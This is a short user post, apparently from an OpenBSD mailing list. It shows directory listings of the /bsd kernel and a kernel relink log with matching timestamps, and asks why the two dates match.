Also /bsd has newer date so it seems updated.
# ls -ld /bsd
-rwx-- 1 root wheel 15461926 Dec 19 10:04 /bsd*
# ls -ld /usr/share/relink/kernel/GENERIC.MP/relink.log
-rw-r--r-- 1 root wheel 486 Dec 19 10:04
/usr/share/relink/kernel/GENERIC.MP/relink.log
can someone explain this?
thanks
G
